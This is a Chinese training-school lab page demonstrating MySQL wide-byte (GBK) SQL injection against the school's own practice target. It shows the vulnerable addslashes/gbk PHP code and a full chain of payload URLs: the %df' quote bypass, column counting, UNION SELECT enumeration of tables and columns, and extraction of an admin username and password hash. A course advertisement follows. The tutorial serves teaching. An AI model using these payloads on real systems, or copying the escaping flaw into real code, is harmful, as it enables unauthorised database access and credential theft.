MYSQL 宽字节注入 实例演示 答案解析
以下信息调试输出,帮助您理解SQL注入,正常网站不显示
select * from admins where id = '1'
用户名 邮箱
ػ簲ȫ admin@bihuo.cn

什么是SQL注入
- (SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。
1,是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击
2,这些参数传递给后台的SQL数据库服务器加以解析并执行

SQL注入分类
-- 按数据类型分类,
1,分为 整形注入 整型注入 (不需要闭合,大多数不需要注释符号)
2,字符串类型注入 (需要闭合,或者需要注释)

-- 按注入语法分类,
1,UNION query SQL injection(可联合查询注入)
2,Error-based SQL injection(报错型注入)
3,Boolean-based blind SQL injection(布尔型注入)
4,Time-based blind SQL injection(基于时间延迟注入)
5,Stacked queries SQL injection(可多语句查询注入)
http://www.nanhack.com/payload/sql/wide.php?id=1' and 1=1--+ 页面正常
http://www.nanhack.com/payload/sql/wide.php?id=1' and 1=2--+ 页面正常
我们发现这里传入的单引号被转义了,sql语句变成了
select * from admins where id = '1\''
内部代码如下
$id = addslashes($_GET['id']);
$sql = "select * from admins where id = '$id'";
mysqli_set_charset($conn,"gbk");
#因为这里使用了 addslashes函数,所以输入的单引号就会被转义
因为数据库查询使用了gbk编码,所以这里我们拼接个“%df'”,这里的单引号依然会被转义。而转移符号'\'是%5c
那么语句就会变成 select * from admins where id = '1%df\''
这里注意,id = 的后面是 '1%df\'' ,也就是 '%df%5c%27',对于我们汉子来说gbk编码下 %df%5c是一个汉字 運
所以,这里就会变成 '運'' 于是我们传值尝试一下:
http://www.nanhack.com/payload/sql/wide.php?id=1%df' --+
页面成功显示了数据,但有乱码,还不能确定闭合成功,那么直接用联合查询的方式
判断显示位:
http://www.nanhack.com/payload/sql/wide.php?id=1%df' order by 8--+ #正常
http://www.nanhack.com/payload/sql/wide.php?id=1%df' order by 9--+ #不正常,则显示位为8

联合查询
http://www.nanhack.com/payload/sql/wide.php?id=-1%df' UNION SELECT 1,2,3,4,5,6,7,8--+
http://www.nanhack.com/payload/sql/wide.php?id=-1%df' UNION SELECT 1,database(),3,4,5,6,7,8--+ #得到库名nanhack

爆表
http://www.nanhack.com/payload/sql/wide.php?id=-1%df' UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema=database()--+
#得到表名 admin_logs,admins,class,facebook,kaiban,message,news,user

爆表 admins 中的所有列
http://www.nanhack.com/payload/sql/wide.php?id=-11%df' UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_schema=database() and table_name='admins'--+
# 得到 列名 id,username,userpwd,email,sex,money,role,vip

获取 admins 中的一条数据
http://www.nanhack.com/payload/sql/wide.php?id=-11%df' UNION SELECT 1,concat(username,0x23,userpwd),3,4,5,6,7,8 from admins limit 0,1--+
# 得到数据 必火网络安全#68d7e8e91c53395e3d29a938c1ab5d18(需要手动更改浏览器编码才可以显示中文)
必火安全祝您学习愉快,有想学习安全的亲戚朋友、或者薪资低想转行的大学毕业生,可以推荐到必火来,必火网络安全教学可靠、就业无忧

必火安全学院第10期开班:2021年6月3日

抢先领取全套VIP视频教程

+10天免费学习名额>

已有 8868 人参加

  张*燕188****220722分钟前
  王*军186****864498分钟前
  李*如189****445354分钟前

>> 稍后老师联系您发送相关视频课程 <<
报名CTF挑战赛预约名师指导

已有 2366 人参加
   

网络安全渗透测试群(必火安全学院):信息安全渗透测试群

护网行动日薪千元(初级中级高级)群:护网行动必火业余班级

必火安全学院平均就业薪资13k,最高薪资30k


必火安全学院

报名微信:nvhack



© Copyright 2021 版权所有(一极教育科技有限公司)   津公网安备 12011602000477号 津ICP备17008032号-2   网络安全培训、企业合作、院校合作: 15320004362(手机同微信)